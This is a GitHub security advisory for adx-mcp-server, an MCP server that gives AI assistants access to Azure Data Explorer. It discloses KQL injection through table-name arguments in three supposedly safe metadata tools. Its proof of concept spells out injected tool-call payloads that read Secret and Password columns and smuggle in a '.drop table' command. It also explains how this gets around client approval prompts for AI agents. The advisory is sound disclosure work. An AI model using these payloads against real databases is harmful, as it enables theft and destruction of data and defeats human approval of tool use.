GitHub Advisoryadvisory · PyPI

GHSA-vphc-468g-8rfp Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries

HIGH Published 2026-03-27 Modified 2026-03-30 Official page ↗
Aliases
CVE-2026-33980
Ecosystem
PyPI
Packages
adx-mcp-server
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Weaknesses
CWE-943
Reviewed
2026-03-27

Affected packages

• PyPI adx-mcp-server: <= 1.1.0 (no fix yet)

Description

Summary adx-mcp-server ( List[Dict[str, Any]]: client = get_kusto_client() query = f"{table_name} | getschema" # List[Dict[str, Any]]: client = get_kusto_client() query = f"{table_name} | sample {sample_size}" # List[Dict[str, Any]]: client = get_kusto_client() query = f".show table {table_name} details" # <-- KQL injection result_set = client.execute(config.database, query) ``` KQL allows chaining query operators with `|` and executing management commands prefixed with `.`. An attacker can inject: • `sensitive_table | project Secret, Password | take 100 //` to read arbitrary tables • Newline-separated management commands like `.drop table important_data` via `get_table_details` • Arbitrary KQL analytics queries via any of the three tools Note: While the server also has an `execute_query` tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for `execute_query`. The injection bypasses this trust boundary. PoC ```python PoC: KQL Injection via get_table_schema tool The table_name parameter is injected into: f"{table_name} | getschema" import json MCP tool call that exfiltrates data from a sensitive table tool_call = { "name": "get_table_schema", "arguments": { "table_name": "sensitive_data | project Secret, Password | take 100 //" } } print(json.dumps(tool_call, indent=2)) Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema" The // comments out "| getschema", executing an arbitrary data query instead Destructive example via get_table_details: tool_call_destructive = { "name": "get_table_details", "arguments": { "table_name": "users details\n.drop table critical_data" } } Resulting KQL: .show table users details .drop table critical_data details ```

Related

Alias · CVE (1)

  • CVE-2026-33980 Azure Data Explorer MCP Server is a Model Context Protocol (MCP) server that enables AI assistants to execute KQL queries and explore Azure… vulnerability

Weakness · CWE (1)

  • CWE-943 Improper Neutralization of Special Elements in Data Query Logic weakness

References